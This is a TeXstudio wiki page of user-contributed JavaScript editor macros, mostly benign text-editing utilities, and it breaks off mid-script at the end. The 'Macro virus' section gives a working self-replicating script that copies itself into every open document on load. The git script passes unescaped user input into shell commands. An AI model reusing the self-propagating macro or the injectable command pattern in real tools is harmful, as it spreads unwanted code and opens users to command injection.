Skip to content

Scripts

sunderme edited this page Aug 23, 2023 · 26 revisions

This page will become a collection of user scripts which provides additional features that are too special to be implemented in the binary itself.

A description of the scripting language can be found in the User Manual. Notice that the available Javascript functions may change in later TeXstudio releases.

Txs has been expanded to download scripts/macros directly from texstudio-macro. The most convenient way for developers is to clone that repository, add macros and hand them in as pull-requests. Alternatively enhancement requests with attached macro files are welcome. Scripts on this wiki are less likely to be taken up in the repository.

Feel free to add your own scripts.

User Scripts

Trivial eval example

This example shows how you can write a simple script that executes the current editor text as another script. It can also be used when writing new scripts, because it is faster than opening the user macro dialog for every change.

%SCRIPT
eval(editor.text());

Tested with: TMX 1.9.9 or later

Copy filename to clipboard

%SCRIPT
app.clipboard = editor.fileName();

Tested with: TXS 2.3

Remove all empty lines

%SCRIPT
var tl = editor.document().textLines();
for (var i=tl.length-1;i>=0;i--) 
    if (tl[i]=="") 
      tl.splice(i, 1);
editor.setText(tl.join("\n"));

Tested with: TXS 2.3

Remove all duplicated lines

%SCRIPT
var tl = editor.document().textLines();
for (var i=tl.length-1;i>=0;i--) {
  var found = false;
  if (tl[i] != "")
    for (var j=i-1;j>=0;j--)
      if (tl[i] == tl[j]) { 
        found = true; 
        break; 
      }
  if (found) tl.splice(i, 1);
}
editor.setText(tl.join("\n"));

Tested with: TXS 2.3

Remove whitespace at the end of all lines

%SCRIPT
var tl = editor.document().textLines();
for (var i=tl.length-1;i>=0;i--) 
    tl[i] = tl[i].replace(/\s+$/, '');
editor.setText(tl.join("\n"));

Tested with: TXS 2.8.0

Decode hex dumps

%SCRIPT
editor.replace(/[0-9A-Fa-f]{2}/, "g", function(c){
  return String.fromCharCode(1*("0x"+c.selectedText()));
})

Tested with: TXS 2.3

Calculator

This is a calculator evaluates a mathematical expression on the current line, like %sin(3.1415)=

%SCRIPT
currentLine=editor.text(cursor.lineNumber()); 
from=currentLine.lastIndexOf("%")+1; 
to=currentLine.lastIndexOf("="); 
if (from>=0 && to > from) {
  toEvaluate = currentLine.substring(from, to);
  with (Math) { value = eval(toEvaluate);}
  cursor.eraseLine(); 
  cursor.insertText(currentLine.substring(0, from)+toEvaluate+"="+value); 
  cursor.insertLine();
  cursor.movePosition(1,cursorEnums.Left );
}

Tested with: TMX 1.9.9 or later

Macro virus

Copy it at the beginning of a tex file and it will copy itself.

% !TeX TXS-SCRIPT = macrovirus
% //Trigger: ?load-file | ?new-file | ?new-from-template
%var self;
%if (hasGlobal("macrovirus")) self = getGlobal("macrovirus");
%else {
%   var l1, l2 = -1;
%   editor.search(/% *!TeX *TXS-SCRIPT *= *macrovirus/, function(c){l1 = c.lineNumber();});  
%   editor.search(/% *TXS-SCRIPT-END/, function(c){if (l2 != -1 || l1 > c.lineNumber()) return; l2 = c.lineNumber();});  
%   self = "";
%   for (var l=l1;l<=l2;l++)
%   self = self + editor.text(l) + "\n";
%   setGlobal("macrovirus", self);
%}
%
%for (var i=0;i<documents.length;i++)
%if (documents[i].editorView.editor.search( /% *!TeX *TXS-SCRIPT *= *macrovirus/ ) == 0) {
%documents[i].cursor(0).insertText(self);
%}
% TXS-SCRIPT-END

(tikz) Coordinate pair mover

This script adds to all coordinate pairs in the currently selected text the offset of the first pair, which translates all pairs in a given direction. E.g. if you have (1 + 1, 2 - 1.5) (3, 4) it will be changed to (2, 0.5) (4, 2.5).

%SCRIPT
var doit = function(){
var mytext=cursor.selectedText();
var regExNumberPre = " *[0-9]+([.][0-9]*)? *";
var regExDigit = /[0-9]/;
var regExSpace = / /g;
var regExPairPre = " *(-?"+regExNumberPre+")";
var regExPair = new RegExp("()[(]"+regExPairPre+","+regExPairPre+"[)]"); ;

//read first coordinate pair
var regExFirstPairPre = regExPairPre + " *([+-]"+regExNumberPre+")?";
var regExFirstPair = new RegExp("()[(]"+regExFirstPairPre+","+regExFirstPairPre+"[)]");

//extract offsets (start regex search from first digit, to allow -x - y)
var matches = regExFirstPair.exec(mytext);
if (matches == null) throw "missing";
//throw matches;
var offsetXPre = matches[4];
var offsetYPre = matches[8];
if (offsetXPre == "" && offsetYPre == "") throw "abc";
var offsetX = offsetXPre == ""?0.0:offsetXPre.replace(regExSpace, "")*1.0;
var offsetY = offsetYPre == ""?0.0:offsetYPre.replace(regExSpace, "")*1.0;

//move first pair
var matchpos = mytext.search(regExFirstPair);
editor.write(mytext.slice(0,matchpos));
editor.write("("+(matches[2].replace(regExSpace, "")*1.0+offsetX));
editor.write(", "+(matches[6].replace(regExSpace, "")*1.0+offsetY)+")");

//move other pairs
var remaining = mytext.slice(matchpos+matches[0].length);
while (remaining != ""){
    matches = regExPair.exec(remaining);
    if (matches == null) break;
    matchpos = remaining.search(regExPair);
    editor.write(remaining.slice(0,matchpos));
    remaining = remaining.slice(matchpos+matches[0].length);
    editor.write("(" + ((matches[2].replace(regExSpace, "")*1.0)+offsetX) + ", "+ ((matches[4].replace(regExSpace, "")*1.0)+offsetY) + ")");
} 
editor.write(remaining);
}
doit();

Tested with: TMX 1.9.9

Frequency counter

Count how often every letter in the selection/document is used.

%SCRIPT
var s = cursor.hasSelection()?cursor.selectedText():editor.text();
var hash = {}; 
for (var i=0; i < s.length; i++ )
  hash[s[i]] = (hash[s[i]]==null?0:hash[s[i]]) + 1;
cursor.movePosition(cursorEnums.End);
for (var k in hash) 
  cursor.insertText(k+": "+hash[k]+"\n");

Tested with: TMX 2.1

Sorting

Sorts all lines in the document

%SCRIPT
var a = new Array();
for (var i=0; i<editor.document().lineCount(); i++) {
    a.push(editor.text(i));
}
a.sort();
var t = "";
for (var l in a) {
    t+= a[l]+"\n";
}
editor.setText(t);

Tested with: TMX 2.1

Pseudo-LaTeX generator

This script creates a random text with LaTeX-commands. This is not much useful for itself, but it can be used to find bugs/crashes of TeXstudio. Notice that it is quite slow (~1 min) and that the generated text does not actually compile.

%SCRIPT
var characters="                    ,.,.,,.,.;:;.+_^-.;/()[]{}[],aabcdeeeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzzABCDEFGHIJKLMNOPQRSTUVWXYZäöüÄÖÜÖÄÖÄÜ1234567890"; 
var charactersSafe="                    ,.,.,,.,.;:;.+-.;/()[][],aabcdeeeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzzABCDEFGHIJKLMNOPQRSTUVWXYZäöüÄÖÜÖÄÖÄÜ1234567890"; 
var cid1 = "aB";
var cid2 = "abcdefghij";

function randUntil(i) { return Math.floor(Math.random()*i); }

function insertRandomString(cs){
for (var j=randUntil(100);j>0;j--)
editor.insertText(cs[Math.floor(Math.random()*cs.length)]); 
}

function insertRandomId(){
switch (randUntil(2)) {
case 0: for (var i=4+randUntil(5);i>0;i--) editor.insertText(cid1[randUntil(cid1.length)]); break;
case 1: for (var i=2;i>0;i--) editor.insertText(cid2[randUntil(cid2.length)]); break;
}
}

totalLoopCutOff = 1500;

function insertRandomLaTeX(deep){
for (var i=50+deep*10;i>0;i--) {
totalLoopCutOff--;
if (totalLoopCutOff<0) return;
switch (Math.floor(Math.random()*16)) {
case 0: editor.insertText(Math.random()); break;
case 1: case 2: insertRandomString(characters); break;
case 3: 
editor.insertText("$"); if (deep>0) insertRandomLaTeX(deep-1); editor.insertText("$");
break;
case 4: editor.insertText("\\chapter{");insertRandomString(charactersSafe); editor.insertText("}"); break;
case 5: editor.insertText("\\section{");insertRandomString(charactersSafe); editor.insertText("}"); break;
case 6: editor.insertText("\\");editor.insertText("sectio");editor.insertText("n");editor.insertText("{");insertRandomString(charactersSafe); editor.insertText("}"); break;
case 7: case 8: case 9: editor.insertText("\n"); break;
case 10: editor.insertText("\\label{"); insertRandomId(); editor.insertText("}"); break;
case 11: editor.insertText("\\ref{"); insertRandomId(); editor.insertText("}"); break;
case 12: editor.insertText("\\cite{"); insertRandomId(); editor.insertText("}"); break;
case 13: editor.insertText("\\include{"); insertRandomId(); editor.insertText("}"); break;
case 14: if (Math.random() < 0.5) editor.insertText("%TODO"); insertRandomString(characters); break;
case 15: editor.insertText("\\begin{block}"); if (deep>0) insertRandomLaTeX(deep-2); editor.insertText("\\end{block}"); break; 
}
}
}

editor.insertText("\\documentclass[12pt,letterpaper]{report}\n");
editor.insertText("\\begin{document}\n");
insertRandomLaTeX(4);
editor.insertText("\\end{document}\n");

//alert("insert complete");

cursor.movePosition(1, cursorEnums.End);
var lineCount = cursor.lineNumber();

for (var i=1; i<10000;i++){
cursor.setLineNumber(randUntil(lineCount));
cursor.movePosition(1, cursorEnums.EndOfLine);
var lineLength = cursor.columnNumber()+1;
cursor.setColumnNumber(randUntil(lineLength));
if (Math.random()<0.75) cursor.insertText(characters[randUntil(characters.length)]); 
else cursor.deleteChar();
}

Tested with: TMX 2.0

Change search panels to be case sensitive

%SCRIPT
//Set the search panel of the editor
editor.searchPanel.findChild("cbCase").checked = true;
//Set the search panel of the pdf viewer
pdfs[0].search.findChild("cbCase").checked = true;

Tested with: TXS 2.4

Convert selected text to uppercase

Note: From version 2.7 on, there is native support for changing case at Edit -> Text Operations. You won't need this script anymore. However we'll leave it here as example code.

%SCRIPT
// Converts selected text to uppercase
cursor.replaceSelectedText(cursor.selectedText().toUpperCase())

Tested with: TXS 2.5

Generate environment after typing trigger code

When typing !mabc (ends with space), the following is generated:

\begin{multicols}{abc}

\end{multicols}"

Trigger: !m(\S+)\s

%SCRIPT
env = triggerMatches[1]
txt = "\\begin{multicols}{"+env+"}\n"
txt = txt+"\n" 
txt = txt+"\\end{multicols}\n" 
cursor.insertText(txt)
cursor.movePosition(2, cursorEnums.Up)
cursor.movePosition(1, cursorEnums.StartOfLine)

Auto-correct multiple capital letters

Auto-correct multiple capital letters at the start of a word while typing. All characters except the first are converted to lowercase. Words consisting only of capital letters are not affected by the auto-correction.

Trigger: [a-z]

%SCRIPT
typedChar = triggerMatches[0]
cursor.movePosition(1, cursorEnums.StartOfWord, cursorEnums.KeepAnchor)
lastWord = cursor.selectedText()
re = /^[A-Z]{2,}/g
if (lastWord.match(re)) {
    cursor.movePosition(1, cursorEnums.NextCharacter, cursorEnums.KeepAnchor)
    cursor.replaceSelectedText(cursor.selectedText().toLowerCase())
}
cursor.movePosition(1, cursorEnums.EndOfWord)
cursor.clearSelection()
cursor.insertText(typedChar)

Tested with: TXS 2.9.4

Paste as LaTeX table

When you copy multiple rows and/or columns from a spreadsheet application, columns are usually separated by tabs and rows by newline characters. This script takes the text from the clipboard and converts it into the LaTeX table format. The example creates a simple tabular with left-aligned columns. You are free to adapt it to your needs.

%SCRIPT
text = app.clipboard
numCols = text.split('\n')[0].split('\t').length
colspec = Array(numCols+1).join("l")

text = text.replace(/\t/g, " & ")
text = text.replace(/\n/g, " \\\\\n")
text = "\\begin{tabular}{" + colspec  + "}\n" + text + "\\end{tabular}\n"
cursor.insertText(text)

Tested with: TXS 2.11.2

Word Completion

Note: Since TeXstudio natively provides word completion, this script mainly serves for demonstration. To use the built-in word completion, simply type the start of the word (at least 3 letters) and then hit Ctrl+Space.

Having to type long words can be annoying, particularly with technical terms which may appear quite frequently in a text. The below script checks if the already typed characters match with the start of a word from a fixed word list. If so, the word is inserted. It is convenient to assign a handy shortcut such as Shift+Enter to the script.

%SCRIPT
// simple script for automatic word completion
var words = ["trans-impedance-amplifier", "Dzyaloshinskii-Moriya interaction"]
cursor.movePosition(1, cursorEnums.WordLeft, cursorEnums.KeepAnchor)
txt = cursor.selectedText()
for (var i=0; i<words.length; i++) {
    if (words[i].indexOf(txt) == 0) {
        cursor.removeSelectedText()
        editor.write(words[i])
        break
    }
}
if (cursor.hasSelection()) {
    cursor.moveTo(cursor.anchorLineNumber(), cursor.anchorColumnNumber())
}

Tested with: TXS 2.5

Introspection

The following script lists all properties of the editor object. Of course, you can adapt it to inspect other objects.

%SCRIPT
var pn = Object.getOwnPropertyNames(editor)
editor.write(pn.join("\n"))

Tested with: TXS 2.5

Controlling Wrapping

The following script allows you to set the line wrapping of the editor. Note: This only controls the editor. Changes are not reflected in the settings dialog. After accessing the settings dialog, the original value from the settings take over again. See the next example for a way to adjust the settings as well.

%SCRIPT
// Set the wrap style of the editor

// ***** configuration *****
/* possible wrap styles are
  0: None
  1: Soft wrap at window edge
  2: Soft wrap after lineWidth chars
  3: Hard wrap after lineWidth chars
*/
wrapStyle = 3

/* only relevant for styles 2 and 3 */
lineWidth = 60       // number of chars
averageCharWidth = 8 // depends on the actual font being used

// ***** code *****
editor.setLineWrapping(wrapStyle > 0);
editor.setSoftLimitedLineWrapping(wrapStyle == 2);
editor.setHardLineWrapping(wrapStyle > 2);
if (wrapStyle > 1) {
    if (lineWidth < 20) lineWidth = 20;
    lineWidthInPixels = lineWidth * averageCharWidth
    editor.setWrapLineWidth(lineWidthInPixels);
} else {
    editor.setWrapLineWidth(0);
}

Tested with: TXS 2.5.2

Switching between no wrapping and soft wrapping at the window edge

This example shows how to toggle between two ways of wrapping (no wrapping and soft wrapping at the window edge). Settings are updated accordingly.

%SCRIPT
if (getPersistent("Editor/WordWrapMode") == "1"){
    editor.setLineWrapping(false);
    setPersistent("Editor/WordWrapMode","0")
} else {
    editor.setLineWrapping(true);
    setPersistent("Editor/WordWrapMode","1")
}
editor.setSoftLimitedLineWrapping(false);
editor.setHardLineWrapping(false);

Teseted with: TXS 2.10.4

Underlining with ulem-package

If you are using the ulem package and want to use the command \ulem{} instead of \underline{}, this little script detects if the package is loaded and inserts the correct command automatically.

%SCRIPT
packages = editor.document().containedPackages();
usingUlem = false;
for (i=0; i<packages.length; i++) {
    if (packages[i] == "ulem") {
        usingUlem = true;
        break;
    }
}
if (usingUlem) {
    editor.document().editorView.insertMacro('\\uline{%|}');
} else {
    editor.document().editorView.insertMacro('\\underline{%|}');
}

Replace characters by their LaTeX equivalent while typing

For languages with accented chars it is convenient to type the chars on the keyboard and have them translated to LaTeX code on the fly. This can be achieved by the following script.

Additionally, you have to set the trigger of the script to a regular expression matching all required chars. If there are only a few special chars, a simple or-list is ok: ä|ö|ü. In case of many replacements the more generic \w may be used as trigger.

Trigger: ä|ö|u

or

Trigger: \w

%SCRIPT
replacements = {
  "ä": "\\'a",
  "ö": "\\'o",
  "ü": "\\'u",
}
c = triggerMatches
if (c in replacements) {
    c = replacements[c]
}
editor.write(c)

Simultaneously toggle Structure, Log and PDF

This was a request by a user who wished to simultaneously hide Structure, Log and PDF to have maximal space for editing. Moreover they should be restored afterwards easily.

For convenience, you may assign a shortcut to the macro via Options -> Configure TeXstudio -> Shortcuts.

%SCRIPT
visible = app.getManagedAction("main/view/show/outputview").checked

app.getManagedAction("main/view/show/outputview").trigger(!visible)
app.getManagedAction("main/view/show/structureview").trigger(!visible)
if (visible) {
    if (pdfs.length > 0) pdfs[0].close();
} else {
    app.getManagedAction("main/tools/view").trigger()
}

Advanced Comment Toggle

Note: As of TXS 2.11.2 there is a built-in function will be a builtin function Idefix -> Toggle Comment. Therefore this script is obsolete. However it may still serve as an example for similar tasks.

This script toggles the comments on the selected lines. It is a block-wise operation, i.e. all lines are commented/uncommented depending on the first selected line. This allows to properly comment/uncomment larger blocks which already contain comments. The block-operation gracefully handles uncommenting also for lines that do not contain a comment. Additionally, a space is inserted (and removed) after the comment char for better readability.

%SCRIPT
startLine = cursor.anchorLineNumber()
endLine = cursor.lineNumber()
if (endLine < startLine) {
    tmp = startLine
    startLine = endLine
    endLine = tmp
}

nextChar = function() {return String.fromCharCode(cursor.nextChar())}

cursor.beginEditBlock()
cursor.moveTo(startLine, 0)
line = editor.text(cursor.lineNumber()); 
hasComment = line.match(/^\s*%/)
if (hasComment) {
    // uncomment
    for (l=startLine; l<=endLine; l++) {
        cursor.moveTo(l, 0)
        while (nextChar() in [' ', '\t']) cursor.movePosition(1, cursorEnums.NextCharacter);
        if (nextChar() == '%') cursor.deleteChar();
        if (nextChar() == ' ') {
            cursor.movePosition(1, cursorEnums.NextCharacter);
            if (nextChar() != ' ') { // not an indentation
                cursor.deletePreviousChar();
            }
        }
    }
} else {
    // comment
    for (l=startLine; l<=endLine; l++) {
        cursor.moveTo(l, 0)
        cursor.insertText('% ')
    }
}
cursor.endEditBlock()

Time tracker

Takes a list of times (e.g. 13:14-15:16 or 52m, each on a separate line) and calculates the total time.

%SCRIPT
//alert(editor.document().lineCount());
var r = /^ *([0-9]+):([0-9]+) *- *([0-9]+)+:([0-9]+)/;
var r2 = /([0-9]+) *m *$/;
var nt = "";
var totald = 0;
for (var i=0; i<editor.document().lineCount(); i++)  {
  var e = r.exec(editor.text(i));
  if (e) { 
    var fh = e[1] * 1;
    var fm = e[2] * 1;
    var th = e[3] * 1;
    var tm = e[4] * 1;
    var d = 0;
    if (fh == th) d += tm - fm + 1;
    else if (fh < th)  {
      d += 60 - fm + tm + 60 * (th - fh - 1) + 1;
    } else alert("daybreak!");
    
    nt += e[0]+" => "+d+"m"; 
    totald += d;
    } else {
      nt += editor.text(i);
      e = r2.exec(editor.text(i));
      if (e) { totald += e[1] * 1; }
    }
    nt += "\n";
}

nt += "\n\n ==> "+ totald + " = " + Math.floor(totald / 60) +":"+ (totald % 60);

alert(nt);

Tested with: TXS 2.6.6

WakaTime Plugin

This example shows how you can time track using WakaTime. https://github.com/wakatime/texstudio-wakatime

Tested with: TMX 2.6.6 or later

Mark Indexentry

This script marks the word "under the cursor" as an indexentry with \index{foo}foo. Use it with a Hotkey like Shift+F1 for a faster running.

%SCRIPT
cursor.select(cursorEnums.WordUnderCursor)
idx = cursor.selectedText()
cursor.movePosition(0,cursorEnums.StartOfWord)
editor.setCursor(cursor)
editor.write("\\index{"+idx+"}")
cursor.movePosition(0,cursorEnums.EndOfWord)
editor.setCursor(cursor)
cursor.clearSelection()

Tested with: TXS 2.8.0

Git Commit and Push

Simple Git commit and push support. Use it maybe with the ?save-file trigger. Needs privileged write mode to run! It will ask for it.

%SCRIPT
choisedialog = UniversalInputDialog(["Commit","Commit with Push"],"Git","choiseGIT")
choisedialog.setWindowTitle("Git")
choise = choisedialog.get("comment")
if (choisedialog.exec() != null) {
    if (choisedialog.get("choiseGIT") == "Commit") {
        dialog = new UniversalInputDialog()
        dialog.setWindowTitle("Git commit / push")
        dialog.add("Committed by TeXstudio", "Comment", "comment")
        dialog.add(true, "Commit all Files","allfiles")
            if (dialog.exec() != null) {
                comment = dialog.get("comment")
                if ((dialog.get("allfiles")) == true){
                    buildManager.runCommand("git commit -a -m \"" + comment + "\"", editor.fileName())
                }else{
                    buildManager.runCommand("git commit " + editor.fileName() + " -m \"" + comment + "\"", editor.fileName())
                }
    }
} else
    if (choisedialog.get("choiseGIT") == "Commit with Push") {
        dialog = new UniversalInputDialog()
        dialog.setWindowTitle("Git commit / push")
        dialog.add("Committed by TeXstudio", "Comment", "comment")
        dialog.add("master", "Branch", "branch")
        dialog.add(true, "Commit all Files","allfiles")
            if (dialog.exec() != null) {
                comment = dialog.get("comment")
                branch = dialog.get("branch")
                    if ((dialog.get("allfiles")) == true){
                buildManager.runCommand("git commit -a -m \"" + comment + "\"", editor.fileName())
                }else{
                buildManager.runCommand("git commit " + editor.fileName() + " -m \"" + comment + "\"", editor.fileName())
                }
                buildManager.runCommand("git push origin \"" + branch +"\"", editor.fileName())
            }
    }
}

Tested with: TXS 2.6.6

Move cursor to the beginning of the text in the line

Simply pressing the Home key moves the cursor to the start of the line. There is no native functionality to go to the start of the text (i.e. after the indentation). This can be accomplished with the following script. Pressing Home again, move it to the default beginning of the line.

%SCRIPT
pos = cursor.columnNumber();
cursor.movePosition(1, cursorEnums.StartOfLine);
i = 0;
while (cursor.nextChar()==' '.charCodeAt(0) ||
       cursor.nextChar()=='\t'.charCodeAt(0)) 
{
    cursor.movePosition(1, cursorEnums.NextCharacter);
    i++;
}
if (pos == i)
{
    cursor.movePosition(1, cursorEnums.StartOfLine);
}

As a second step, go to Options -> Configure... -> Shortcuts and assign Home to that new script.

Tested with: TXS 2.9.4

Periodic auto-save all documents under a new name

This script periodically saves all open documents under a new name (uses the _bak suffix). Use the ?txs-start trigger to activate the script upon TXS launch.

%SCRIPT
var Debug = false;  //default = false
var DoSave = true;  //default = true
var Interval = 60000;// set the time in milliseconds. 60000=1mins

registerAsBackgroundScript("auto_save");    
setTimeout(TimedFunction,Interval);


function TimedFunction() {
    if (Debug) { alert('timer expired') };
    SaveAllDocuments();
    setTimeout(TimedFunction,Interval); //rearm the timed function
}

function SaveAllDocuments(){
    if (Debug) { alert('SaveAllDocuments called') };
    var NumOfDocs = documentsManager.documents.length;
    if (Debug) { alert('NumOfDocs='+NumOfDocs) };
    for (var i = 0; i < NumOfDocs; i++) {
        SaveDocument(i, documentsManager.documents[i]);
    };
};

function SaveDocument(i, Document) {
    var CurFileName = Document.fileName;
    if (Debug) { alert('i='+i+' FileName='+CurFileName) };
    var newName = CurFileName.replace(/.tex$/, '_bak.tex');
    if (Debug) { alert('i='+i+' newName='+newName) };
    if (DoSave) { writeFile(newName, Document.text()); };
};

Tested with: TXS 4.0.2

Protecting Capitalization of BibTeX Titles

BibTeX automatically changes the capitalization of titles according to the settings in the BibTeX style. Sometimes it is necessary to protect capital letters to prevent BibTeX changing their case; e.g.

title = "Pascal, {C}, {Java}: were they all conceived in {ETH}?"

The following script capitalizes and protects the first letter of the word under the cursor:

%SCRIPT
c = cursor;
c.movePosition(1, cursorEnums.StartOfWord);
c.insertText('{');
c.movePosition(1, cursorEnums.NextCharacter, cursorEnums.KeepAnchor);
c.replaceSelectedText(c.selectedText().toUpperCase());
c.clearSelection();
c.insertText('}');

Tested with: TXS 2.7.0

Key Replacement: Automatically insert <space> before comment

If you always want to have a space between your text and a comment, you may let TXS automatically insert a space if you type a comment sign (%) right behind a non-space. To do so, you can use a positive lookbehind regular expression as a trigger:

Trigger: (?language:latex)(?<=\\S)%
Type: normal
Text: Note: the first character is a space. The % is doubled for escaping.

 %%

Automatic label creation by pressing space after a structure command

If you want a label created for any section, subsection, chapter, etc. that you add, this script auto-generates a label after pressing <space> behind the structure command (e.g. \chapter{Foo bar}<space>). The label is preceded by a corresponding prefix and the title is sanitized (e.g. \chapter{Foo bar}\label{ch:foo-bar}). TXS provides label generation through the right-click menu in the structure view, but this is IMHO quicker and provides different prefixes for different types of structures.

How to use it:

Create a macro and use the following as trigger: (?<=\\((sub)*section|chapter|part|paragraph)\{([^}]*)\})[ ]

As LaTeX content use:

%SCRIPT
// all matches
matches = triggerMatches;
// the structure title
title = matches[matches.length-1];
// shorten to three words
title = title.match(/^([^ ]+ ){0,2}([^ ]+)?/i)[0];
// sanitize title
title = title.replace(/[äàáâã]/gi,"a");
title = title.replace(/[ëèéêẽ]/gi,"e");
title = title.replace(/[ïìíîĩ]/gi,"i");
title = title.replace(/[öòóôõ]/gi,"o");
title = title.replace(/[üùúûũ]/gi,"u");
title = title.replace(/[ç]/gi,"c");
title = title.replace(/\W/gi,"-").toLowerCase();
// remove ending dash
title = title.replace(/-$/, '');
// get long type
type = matches[2];

prefixes = {
"subsubsection": "sec",
"subsection": "sec",
"section": "sec",
"chapter": "ch",
"part": "part",
"paragraph": "pg"
}
// replace type by short type
if (type in prefixes) {
type = prefixes[type];
}
// output
editor.write("\\label{"+type+":"+title+"}");

Adjust the prefixes to your liking.

Tested with: TXS 2.9.4

Finding local line numbers in a verbatim environment

This script finds the local line number within a verbatim environment (e.g., useful if you want to reference it in the surrounding text).

To use: Place the cursor at the desired line and run the following script (it's convenient to assign a shortcut for running the script):

%SCRIPT
lines = editor.document().textLines();
for (var i=cursor.lineNumber(); i>=0; i--) {
    l = lines[i];
    if (l.indexOf("\\begin{verbatim}") >= 0) {
        ln = cursor.lineNumber() - i;
        app.setClipboardText(ln)
        alert('Local line number in itemize:\n' + ln + '\n(Copied to clipboard)');
    }
}

This can easily adapted for other environments like minted or listings.

Tested with: TXS 2.9.4

Finding the next sectioning command

This script moves the cursor to the next sectioning command. More information can be found in this tex.stackexchange post. It's just a demonstration and easily adaptable for other commands.

%SCRIPT
commands = ["\\part", 
            "\\chapter",
            "\\section",
            "\\subsection",
            "\\subsubsection",
            "\\paragraph"];

while (!cursor.atEnd()) {
    cursor.movePosition(1, cursorEnums.NextWord)
    if (cursor.nextChar() != '\\'.charCodeAt(0)) {
        continue;
    }
    cursor.movePosition(1, cursorEnums.NextCharacter, cursorEnums.KeepAnchor);
    cursor.movePosition(1, cursorEnums.EndOfWord, cursorEnums.KeepAnchor);
    if (commands.indexOf(cursor.selectedText()) >= 0) {
        cursor.setColumnNumber(cursor.anchorColumnNumber())
        editor.scrollToFirstLine(cursor.lineNumber())
        break;
    }
}

Tested with: TXS 2.11.2

Insert citation and open completion menu

This simple script fills in the LaTeX citation command and opens the completion menu so that you can choose the correct reference. You can replace \\autocite{} with other LaTeX commands, i.e. \\cite{}.

%SCRIPT
editor.write("\\autocite{}");
cursor.shift(-1);
app.normalCompletion()

Tested with: TXS 2.10.6

Insert a \end{env} when hitting Return and the cursor is behind \begin{env}

This script is somewhat similar to Idefix -> Complete -> Close latest open environment. However it's specifically intended as an auto-completion when hitting Return. To achieve this, bind the Return key to the macro using Options -> Shortcuts.

%SCRIPT
previousChar = function() {return String.fromCharCode(cursor.previousChar())}
nextChar = function() {return String.fromCharCode(cursor.nextChar())}
String.prototype.startsWith = function(searchString, position) {
    position = position || 0;
    return this.indexOf(searchString, position) === position;
};

getClosingEnvironment = function() {
    // returns \end{env} if the cursor is at the end of \begin{env}
    // returns undefined otherwise
    if (previousChar() == '}') {
        cursor.movePosition(1, cursorEnums.Left, cursorEnums.KeepAnchor);
    }
    while (nextChar() != '{') {
        if (cursor.atLineStart())
            break;
        cursor.movePosition(1, cursorEnums.Left, cursorEnums.KeepAnchor);
    }
    cursor.movePosition(1, cursorEnums.Left, cursorEnums.KeepAnchor);
    cursor.movePosition(1, cursorEnums.StartOfWordOrCommand, cursorEnums.KeepAnchor);

    var result;
    if (cursor.selectedText().startsWith("\\begin")) {
        result = cursor.selectedText().replace("\\begin", "\\end");
    }
    cursor.flipSelection();
    cursor.clearSelection();
    return result;
}

var env = getClosingEnvironment();
cursor.insertLine();
if (env !== undefined) {
    cursor.insertLine();
    cursor.insertText(env);
    cursor.movePosition(1, cursorEnums.PreviousLine);
}

Tested with: TXS 2.11.0

Quoting a selection

Assume that you would like to put double quotes around a word or a group of words. This script simplifies the process: Simply select the group of words and type a double quote. The trigger defined here is for single quotes, double quotes and $, but it can be adapted to other chars as well.

Trigger: "|'|\$

%SCRIPT
c = triggerMatches;
if (editor.cutBuffer.length) {
    editor.insertText(c + editor.cutBuffer + c);
} else {
    editor.insertText(c);
}

Tested with: TXS 2.12.6

Insert backslash and start completion with "§"

On some keyboard layouts, backslash is tedious to type. Hence, other symbols maybe easier to use as a starter to insert LaTeX commands.

Trigger: §

%SCRIPT
cursor.insertText("\\")
app.normalCompletion();

Tested with: TXS 2.12.8

Selecting a string beginning with $ and ending with $

This script assumes the mouse cursor is somewhere in between two $ symbols on the same line, i.e., $...$, and highlights/selects everything in between. This functionality is similar to that of the Ctrl+D keyboard shortcut, which selects the single word that the cursor is on.

Note that the script does not check whether the content between the $s are in a math environment. That is, if you have There are $x$ apples| and $y$ oranges. where | is the cursor, then apples and will become selected.

%SCRIPT
// grab the line the cursor is on
var ln = cursor.lineNumber();
var tl = editor.text(ln);

// get text before and after cursor
var beforeText = tl.substr(0, cursor.columnNumber());
var afterText = tl.substr(cursor.columnNumber(), tl.length);

// search for last $ before cursor, and first $ after cursor
var op = beforeText.lastIndexOf('\$');
var cl = afterText.indexOf('\$');
if (op>=0 && cl>=0){
    // match found, select everything between the $$
    cursor.selectColumns(op+1, cl+cursor.columnNumber())
}

Tested with: TXS 2.12.11

Repeat last citation

This script finds the last usage of a "/cite" command and creates a new citation to the same reference.

%SCRIPT
var lineNo = cursor.lineNumber()
while (lineNo > 0) {
	splits = editor.text(lineNo).split("\\cite")
	//loop to find last line with a citation:
	if (splits.length > 1) {
		// identify last citation
		endingString = splits[splits.length - 1]
		patt = /\{([^\}]*)\}/
		var reference = endingString.match(patt)[1]
		editor.write("\\citep{"+reference+"}")
		lineNo = 0 
	}
	lineNo = lineNo - 1
}

Tested with: TXS 2.12.22

Select the current section

Highlight the subsection you are currently in. Add with shortcut Ctrl+M, Ctrl+S. Repeat call to select higher order (containing section, chapter, part, etc).

%SCRIPT
commands = ["\\part", 
            "\\chapter",
            "\\section",
            "\\subsection",
            "\\subsubsection",
            "\\paragraph"];

maxIndex=commands.length
startL=0
startN=0
sectionName="\\part"

if (cursor.selectedText().match(/^\\[a-z]{1,}/)) {
	starter=cursor.selectedText().match(/^\\[a-z]{1,}/)[0]
	if (commands.indexOf(starter) >= 0) {
		maxIndex=commands.indexOf(starter)
	}
}

while (!cursor.atStart()) {
    cursor.movePosition(1, cursorEnums.PreviousWord)
    if (cursor.nextChar() != '\\'.charCodeAt(0)) {
        continue;
    }
    cursor.movePosition(1, cursorEnums.NextCharacter, cursorEnums.KeepAnchor);
    cursor.movePosition(1, cursorEnums.EndOfWord, cursorEnums.KeepAnchor);
    if (commands.indexOf(cursor.selectedText()) >= 0) {
    if (commands.indexOf(cursor.selectedText()) < maxIndex) {
        sectionName=cursor.selectedText()
        cursor.movePosition(1, cursorEnums.PreviousWord)
        startN=cursor.columnNumber()//anchorColumnNumber
        startL=cursor.lineNumber()
        break;
    }}
    cursor.movePosition(1, cursorEnums.PreviousWord)
}
cursor.movePosition(1, cursorEnums.NextWord, cursorEnums.KeepAnchor)

// now select forwards for the end of section


while (!cursor.atEnd()) {
	cursor.movePosition(1, cursorEnums.NextWord, cursorEnums.KeepAnchor)
	if (!cursor.selectedText().match(/\\[a-z]{1,}$/)) {
		continue;
	}
	endTerm=cursor.selectedText().match(/\\[a-z]{1,}$/)[0]
	if (commands.indexOf(endTerm) >= 0) {
